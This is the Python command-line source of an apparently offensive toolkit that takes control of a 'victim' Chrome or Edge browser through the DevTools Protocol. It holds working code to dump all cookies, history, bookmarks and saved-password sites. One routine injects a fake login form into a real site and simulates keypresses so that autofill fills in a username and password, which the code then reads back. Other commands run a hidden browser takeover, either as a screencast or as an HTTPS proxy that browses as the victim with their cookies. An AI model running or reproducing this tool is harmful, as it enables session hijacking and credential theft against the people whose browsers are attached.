Files
KingOfTheNOPs-CDP-Toolkit/cdptoolkit/cli.py
T
KingOfTheNOPs 649de5434e intial commit
2026-05-09 12:15:46 -04:00

724 lines
30 KiB
Python

from __future__ import annotations
import asyncio
import json
import sys
from pathlib import Path
from typing import Optional
import typer
from rich.console import Console
from rich.table import Table
from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy
from .client import CDPClient
from .discovery import get_version, list_http_targets
from .log import info, set_verbose, warn
from .redact import redact_cookies
from .remote_browser import RemoteBrowserOptions, serve_remote_browser
from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites
HELP_SETTINGS = {"help_option_names": ["-h", "--help"]}
app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
tabs_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
page_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
cookies_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
bookmarks_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
history_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
saved_passwords_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
extensions_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
contexts_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
browser_takeover_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS)
app.add_typer(tabs_app, name="tabs", help="List browser tabs and capture screenshots of specified tabs.")
app.add_typer(page_app, name="page", help="Create, snapshot, and close targets.")
app.add_typer(cookies_app, name="cookies", help="Collect and export browser cookies through CDP.")
app.add_typer(bookmarks_app, name="bookmarks", help="Collect browser bookmarks/favorites through CDP-rendered WebUI.")
app.add_typer(history_app, name="history", help="Search browser history through CDP-rendered browser WebUI.")
app.add_typer(saved_passwords_app, name="saved-passwords", help="List saved-password sites and dump autofill-backed entries through CDP.")
app.add_typer(extensions_app, name="extensions", help="Inventory extensions through CDP-rendered browser WebUI.")
app.add_typer(contexts_app, name="contexts", help="List and dispose non-default browser contexts.")
app.add_typer(browser_takeover_app, name="browser-takeover", help="Browse through the CDP-attached browser using screencast or proxy mode.")
console = Console()
REQUIRED_CDP_ENDPOINT = typer.Option(
...,
"--cdp-endpoint",
"-c",
help="Required CDP HTTP endpoint, e.g. http://127.0.0.1:9001.",
)
_ANYWHERE_VERBOSE = False
def normalize_browser_socks(proxy: str | None) -> str | None:
if proxy and proxy.lower().startswith("socks5h://"):
return "socks5://" + proxy[len("socks5h://") :]
return proxy
@app.callback()
def main(
verbose: bool = typer.Option(False, "--verbose", "-v", help="Show informational progress on stderr."),
) -> None:
"""Python CDP toolkit for Chrome/Edge."""
set_verbose(verbose or _ANYWHERE_VERBOSE)
info("verbose logging enabled")
def cli() -> None:
global _ANYWHERE_VERBOSE
args = []
passthrough = False
for arg in sys.argv[1:]:
if passthrough:
args.append(arg)
elif arg == "--":
passthrough = True
args.append(arg)
elif arg in {"-v", "--verbose"}:
_ANYWHERE_VERBOSE = True
else:
args.append(arg)
app(args=args, prog_name=Path(sys.argv[0]).name)
def run(coro):
return asyncio.run(coro)
def parse_listen(value: str) -> tuple[str, int]:
host, sep, port_s = value.rpartition(":")
if not sep or not host or not port_s:
raise typer.BadParameter("--listen must be HOST:PORT, e.g. 127.0.0.1:8093")
if host == "*":
host = "0.0.0.0"
try:
port = int(port_s)
except ValueError as exc:
raise typer.BadParameter("--listen port must be an integer") from exc
if port < 1 or port > 65535:
raise typer.BadParameter("--listen port must be between 1 and 65535")
return host, port
def dump_json(data, out: Optional[Path] = None) -> None:
text = json.dumps(data, indent=2, ensure_ascii=False)
if out:
out.parent.mkdir(parents=True, exist_ok=True)
out.write_text(text + "\n", encoding="utf-8")
info("wrote JSON artifact {}", out)
console.print(f"[green]wrote[/green] {out}")
else:
console.print_json(text)
@app.command()
def discover(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
json_out: bool = typer.Option(False, "--json"),
) -> None:
"""Show CDP version and HTTP target discovery."""
async def _run():
endpoint = await get_version(cdp_endpoint, proxy=socks)
targets = await list_http_targets(cdp_endpoint, proxy=socks)
data = {"version": endpoint.raw, "targets": targets}
if json_out:
dump_json(data)
return
table = Table("Field", "Value")
table.add_row("Browser", endpoint.product)
table.add_row("Protocol", endpoint.protocol_version)
table.add_row("User-Agent", endpoint.user_agent)
table.add_row("WebSocket", endpoint.web_socket_debugger_url)
table.add_row("Targets", str(len(targets)))
console.print(table)
run(_run())
async def resolve_target(cdp: CDPClient, target_prefix: str) -> str:
info("resolving target prefix {}", target_prefix)
targets_data = await cdp.targets(include_non_pages=True)
matches = [t["targetId"] for t in targets_data if t.get("targetId", "").lower().startswith(target_prefix.lower())]
if not matches:
raise typer.BadParameter(f"No target matches prefix {target_prefix}")
if len(matches) > 1:
raise typer.BadParameter(f"Ambiguous target prefix {target_prefix}: {', '.join(m[:12] for m in matches)}")
info("resolved target {} -> {}", target_prefix, matches[0])
return matches[0]
def normalize_tab(target: dict, index: int) -> dict:
return {
"tab": index,
"targetId": target.get("targetId"),
"targetIdPrefix": (target.get("targetId") or "")[:12],
"title": target.get("title") or "",
"url": target.get("url") or "",
"attached": target.get("attached"),
"browserContextId": target.get("browserContextId"),
}
async def browser_tabs(cdp: CDPClient) -> list[dict]:
targets_data = await cdp.targets(include_non_pages=False)
tabs = [normalize_tab(target, index) for index, target in enumerate(targets_data, start=1)]
info("normalized {} page targets as tabs", len(tabs))
return tabs
async def resolve_tab(cdp: CDPClient, tab_ref: str) -> dict:
tabs = await browser_tabs(cdp)
ref = tab_ref.strip()
if ref.isdigit():
index = int(ref)
if 1 <= index <= len(tabs):
tab = tabs[index - 1]
info("resolved tab index {} -> {}", index, tab["targetId"])
return tab
raise typer.BadParameter(f"No tab index {index}; run cdptk tabs list")
ref_l = ref.lower()
id_matches = [tab for tab in tabs if (tab.get("targetId") or "").lower().startswith(ref_l)]
if len(id_matches) == 1:
info("resolved tab id prefix {} -> {}", ref, id_matches[0]["targetId"])
return id_matches[0]
if len(id_matches) > 1:
raise typer.BadParameter(f"Ambiguous tab id prefix {ref}: {', '.join(tab['targetIdPrefix'] for tab in id_matches)}")
text_matches = [
tab
for tab in tabs
if ref_l in (tab.get("title") or "").lower() or ref_l in (tab.get("url") or "").lower()
]
if len(text_matches) == 1:
info("resolved tab text {} -> {}", ref, text_matches[0]["targetId"])
return text_matches[0]
if len(text_matches) > 1:
raise typer.BadParameter(f"Ambiguous tab text {ref}: {', '.join(str(tab['tab']) for tab in text_matches)}")
raise typer.BadParameter(f"No tab matches {ref}; run cdptk tabs list")
async def capture_tab_screenshot(
cdp_endpoint: str,
socks: str | None,
tab_ref: str,
out: Path | None,
*,
full: bool,
) -> tuple[dict, Path]:
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
tab = await resolve_tab(cdp, tab_ref)
path = out or Path(f"tab-{tab['tab']}-{tab['targetIdPrefix']}.png")
written = await cdp.screenshot(tab["targetId"], path, full=full)
return tab, written
@tabs_app.command("list")
def tabs_list(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
json_out: bool = typer.Option(False, "--json"),
) -> None:
"""List browser page tabs with stable indexes for this invocation."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
return await browser_tabs(cdp)
tabs = run(_run())
if json_out:
dump_json(tabs)
return
table = Table("#", "Target ID", "Title", "URL")
for tab in tabs:
table.add_row(
str(tab["tab"]),
tab["targetIdPrefix"],
(tab.get("title") or "")[:60],
tab.get("url") or "",
)
console.print(table)
console.print(f"[cyan]{len(tabs)}[/cyan] tabs")
@tabs_app.command("screenshot")
def tabs_screenshot(
tab: str = typer.Argument(..., help="Tab number from `tabs list`, target-id prefix, or unique title/URL text."),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
full: bool = typer.Option(False, "--full"),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""Capture a screenshot of a specified tab."""
tab_data, path = run(capture_tab_screenshot(cdp_endpoint, socks, tab, out, full=full))
console.print(f"[green]wrote[/green] {path} from tab {tab_data['tab']} ({tab_data['targetIdPrefix']})")
@browser_takeover_app.command("screencast")
def browser_takeover_screencast(
start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."),
listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."),
mode: str = typer.Option("offscreen", "--mode", help="offscreen, foreground, background"),
width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."),
height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."),
quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."),
every_nth_frame: int = typer.Option(1, "--every-nth-frame", min=1, max=60),
offscreen_left: int = typer.Option(-2400, "--offscreen-left", help="Window X position for offscreen mode."),
offscreen_top: int = typer.Option(-1200, "--offscreen-top", help="Window Y position for offscreen mode."),
close_target: bool = typer.Option(True, "--close-target/--keep-target", help="Close the created browser target on exit."),
import_cookies: bool = typer.Option(True, "--import-cookies/--no-import-cookies", help="Copy default cookies into proxied isolated contexts."),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
browser_socks: Optional[str] = typer.Option(None, "--browser-socks", help="SOCKS proxy for browser egress in an isolated context."),
) -> None:
"""Serve a local operator console that drives a CDP target via screencast."""
host, port = parse_listen(listen)
if mode not in {"offscreen", "foreground", "background"}:
raise typer.BadParameter("--mode must be offscreen, foreground, or background")
options = RemoteBrowserOptions(
cdp_endpoint=cdp_endpoint,
socks=socks,
browser_socks=browser_socks,
listen_host=host,
listen_port=port,
start_url=start_url,
mode=mode,
width=width,
height=height,
quality=quality,
every_nth_frame=every_nth_frame,
offscreen_left=offscreen_left,
offscreen_top=offscreen_top,
close_target=close_target,
import_cookies=import_cookies,
)
try:
run(serve_remote_browser(options))
except KeyboardInterrupt:
console.print("[cyan]stopped[/cyan]")
@browser_takeover_app.command("proxy")
def browser_takeover_proxy(
listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."),
cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."),
pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of hidden CDP fetch tabs."),
fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."),
hidden: bool = typer.Option(True, "--hidden/--background", help="Use hidden targets when supported; otherwise use background tabs."),
subresource_loader: bool = typer.Option(
True,
"--subresource-loader/--navigate-subresources",
help="Use Network.loadNetworkResource for GET/HEAD subresources to avoid victim-side downloads.",
),
deny_downloads: bool = typer.Option(
True,
"--deny-downloads/--allow-downloads",
help="Ask each hidden CDP fetch tab to deny browser downloads while proxying.",
),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome."""
host, port = parse_listen(listen)
options = BrowseAsVictimProxyOptions(
cdp_endpoint=cdp_endpoint,
socks=socks,
listen_host=host,
listen_port=port,
cert_dir=cert_dir,
pool_size=pool_size,
fetch_timeout=fetch_timeout,
hidden=hidden,
subresource_loader=subresource_loader,
deny_downloads=deny_downloads,
)
try:
run(serve_browse_as_victim_proxy(options))
except KeyboardInterrupt:
console.print("[cyan]stopped[/cyan]")
@cookies_app.command("dump")
def cookies_dump(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
domain: Optional[str] = typer.Option(None, "--domain", "-d"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
redact: bool = typer.Option(False, "--redact"),
) -> None:
"""Dump cookies through Storage.getCookies."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
cookies = await cdp.get_cookies()
if domain:
cookies = [c for c in cookies if domain.lower() in (c.get("domain") or "").lower()]
data = redact_cookies(cookies) if redact else cookies
dump_json(data, out)
console.print(f"[cyan]{len(cookies)}[/cyan] cookies collected")
run(_run())
@bookmarks_app.command("list")
def bookmarks_list(
text: Optional[str] = typer.Argument(None),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
domain: Optional[str] = typer.Option(None, "--domain"),
limit: int = typer.Option(1000, "--limit", "-n"),
include_folders: bool = typer.Option(False, "--include-folders"),
tree: bool = typer.Option(False, "--tree", help="Return the raw browser bookmark tree."),
mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None:
"""List bookmarks/favorites through CDP. Does not read profile files."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
return await collect_bookmarks(
cdp,
text=text,
domain=domain,
limit=limit,
include_folders=include_folders,
tree=tree,
mode=mode,
)
data = run(_run())
dump_json(data, out)
count_label = "root nodes" if tree else "bookmark rows"
console.print(f"[cyan]{len(data)}[/cyan] {count_label} collected through CDP")
@page_app.command("new")
def page_new(
url: str,
mode: str = typer.Option("visible", "--mode", help="visible, background, hidden, isolated"),
browser_socks: Optional[str] = typer.Option(None, "--browser-socks"),
hold: bool = typer.Option(False, "--hold", help="Keep the CDP session open. Required for useful hidden targets."),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""Create a target."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
context_id = None
effective_browser_socks = normalize_browser_socks(browser_socks)
if mode == "isolated" or browser_socks:
context_id = await cdp.create_browser_context(proxy_server=effective_browser_socks, dispose_on_detach=hold)
target_id = await cdp.create_target(url, mode=("background" if mode == "isolated" else mode), browser_context_id=context_id)
dump_json(
{
"targetId": target_id,
"browserContextId": context_id,
"mode": mode,
"browserSocks": browser_socks,
"browserSocksEffective": effective_browser_socks,
"held": hold,
}
)
if mode == "hidden" and not hold:
warn("hidden targets are session-lifetime only; use --hold to keep it alive")
if context_id and not hold:
warn("created persistent browser context; dispose with cdptk contexts dispose")
if hold:
console.print("[cyan]holding CDP session open; press Ctrl+C to close[/cyan]")
try:
while True:
await asyncio.sleep(3600)
except KeyboardInterrupt:
pass
run(_run())
@contexts_app.command("list")
def contexts_list(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""List non-default browser contexts."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
context_ids = await cdp.browser_contexts()
dump_json({"browserContextIds": context_ids, "count": len(context_ids)})
run(_run())
@contexts_app.command("dispose")
def contexts_dispose(
browser_context_id: str,
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""Dispose a browser context and close its targets."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
await cdp.dispose_browser_context(browser_context_id)
dump_json({"browserContextId": browser_context_id, "disposed": True})
run(_run())
@page_app.command("close")
def page_close(
target: str,
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""Close a target by id or unique prefix."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
target_id = await resolve_target(cdp, target)
success = await cdp.close_target(target_id)
dump_json({"targetId": target_id, "closed": success})
run(_run())
@page_app.command("snapshot")
def page_snapshot(
target: str,
kind: str = typer.Option("ax", "--kind", help="ax or dom"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
) -> None:
"""Capture an accessibility or DOM snapshot."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
target_id = await resolve_target(cdp, target)
session = await cdp.attach(target_id)
try:
if kind == "ax":
result = await session.send("Accessibility.getFullAXTree")
elif kind == "dom":
result = await session.send("DOMSnapshot.captureSnapshot", {"computedStyles": []})
else:
raise typer.BadParameter("--kind must be ax or dom")
finally:
await cdp.detach(session)
dump_json(result, out)
run(_run())
@history_app.command("search")
def history_search(
text: Optional[str] = typer.Argument(None),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
domain: Optional[str] = typer.Option(None, "--domain"),
limit: int = typer.Option(100, "--limit", "-n"),
mode: str = typer.Option("background", "--mode", help="visible, background, hidden"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None:
"""Search browser History through CDP and the rendered history WebUI."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
return await collect_history(cdp, text=text, domain=domain, limit=limit, mode=mode)
data = run(_run())
dump_json(data, out)
console.print(f"[cyan]{len(data)}[/cyan] history rows collected through CDP")
@saved_passwords_app.command("list")
def saved_passwords_list(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
limit: int = typer.Option(500, "--limit", "-n"),
mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None:
"""List saved-password site metadata through CDP. Does not decrypt passwords."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
return await collect_password_sites(cdp, limit=limit, mode=mode)
data = run(_run())
dump_json(data, out)
console.print(f"[cyan]{len(data)}[/cyan] saved-password site groups collected through CDP")
@saved_passwords_app.command("dump")
def saved_passwords_dump(
origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."),
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
mode: str = typer.Option("visible", "--mode", help="visible, background, hidden"),
username_selector: str = typer.Option("#username", "--username-selector"),
password_selector: str = typer.Option("#password", "--password-selector"),
inject_form: bool = typer.Option(True, "--inject-form/--no-inject-form"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None:
"""Attempt a controlled-form autofill readback on a real origin."""
async def _run():
html = """
<!doctype html><meta charset=utf-8>
<form>
<input id=u name=username autocomplete=username>
<input id=p name=password type=password autocomplete=current-password>
</form>
<script>document.querySelector('#u').focus();</script>
"""
if inject_form:
user_sel = "#u"
pass_sel = "#p"
else:
user_sel = username_selector
pass_sel = password_selector
user_sel_js = json.dumps(user_sel)
pass_sel_js = json.dumps(pass_sel)
ready_expr = f"""
(() => {{
const user = document.querySelector({user_sel_js});
const pass = document.querySelector({pass_sel_js});
return {{
readyState: document.readyState,
hasUser: !!user,
hasPass: !!pass
}};
}})()
"""
pos_expr = f"""
(() => {{
const user = document.querySelector({user_sel_js});
const pass = document.querySelector({pass_sel_js});
const ub = user.getBoundingClientRect();
const pb = pass.getBoundingClientRect();
return {{
username_x: ub.left + ub.width / 2,
username_y: ub.top + ub.height / 2,
password_x: pb.left + pb.width / 2,
password_y: pb.top + pb.height / 2,
autocomplete_user: user.autocomplete || "",
autocomplete_pass: pass.autocomplete || "",
initial_username: user.value,
initial_password: pass.value
}};
}})()
"""
read_expr = f"""
(() => {{
const user = document.querySelector({user_sel_js});
const pass = document.querySelector({pass_sel_js});
return {{
url: location.href,
username: user ? user.value : "",
password: pass ? pass.value : ""
}};
}})()
"""
async def value_from_eval(session, expression: str):
result = await session.evaluate(expression)
return result.get("result", {}).get("value")
async def click(session, x: float, y: float) -> None:
await session.send("Input.dispatchMouseEvent", {"type": "mouseMoved", "x": x, "y": y, "button": "none"})
await session.send("Input.dispatchMouseEvent", {"type": "mousePressed", "x": x, "y": y, "button": "left", "clickCount": 1})
await session.send("Input.dispatchMouseEvent", {"type": "mouseReleased", "x": x, "y": y, "button": "left", "clickCount": 1})
async def key(session, event_type: str, key_name: str, code: str, vk: int) -> None:
await session.send(
"Input.dispatchKeyEvent",
{
"type": event_type,
"key": key_name,
"code": code,
"windowsVirtualKeyCode": vk,
"nativeVirtualKeyCode": vk,
},
)
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
target_id = await cdp.create_target(origin, mode=mode)
session = await cdp.attach(target_id)
try:
await session.send("Page.enable")
await session.send("Runtime.enable")
await session.send("DOM.enable")
try:
await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True})
except Exception as exc:
info(f"focus emulation unavailable: {exc}")
await session.send("Page.navigate", {"url": origin})
await asyncio.sleep(1.0)
if inject_form:
frame_id = (await session.send("Page.getFrameTree"))["frameTree"]["frame"]["id"]
await session.send("Page.setDocumentContent", {"frameId": frame_id, "html": html})
ready = False
for _ in range(30):
state = await value_from_eval(session, ready_expr) or {}
if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}:
ready = True
break
await asyncio.sleep(0.25)
if not ready:
raise typer.BadParameter("target page never exposed the requested username/password selectors")
pos = await value_from_eval(session, pos_expr) or {}
await click(session, float(pos["username_x"]), float(pos["username_y"]))
await asyncio.sleep(0.5)
await key(session, "keyDown", "ArrowDown", "ArrowDown", 40)
await key(session, "keyUp", "ArrowDown", "ArrowDown", 40)
await asyncio.sleep(0.2)
await key(session, "keyDown", "Enter", "Enter", 13)
await key(session, "keyUp", "Enter", "Enter", 13)
await asyncio.sleep(1.0)
result = await value_from_eval(session, read_expr) or {}
result["autocomplete_user"] = pos.get("autocomplete_user", "")
result["autocomplete_pass"] = pos.get("autocomplete_pass", "")
result["initial_username"] = pos.get("initial_username", "")
result["initial_password"] = pos.get("initial_password", "")
finally:
try:
await cdp.detach(session)
finally:
await cdp.close_target(target_id)
data = {"origin": origin, "mode": mode, "result": result}
dump_json(data, out)
run(_run())
@extensions_app.command("list")
def extensions_list(
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"),
out: Optional[Path] = typer.Option(None, "--out", "-o"),
) -> None:
"""List installed extensions through CDP and the rendered extensions WebUI."""
async def _run():
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
return await collect_extensions(cdp, mode=mode)
data = run(_run())
dump_json(data, out)
console.print(f"[cyan]{len(data)}[/cyan] extension rows collected through CDP")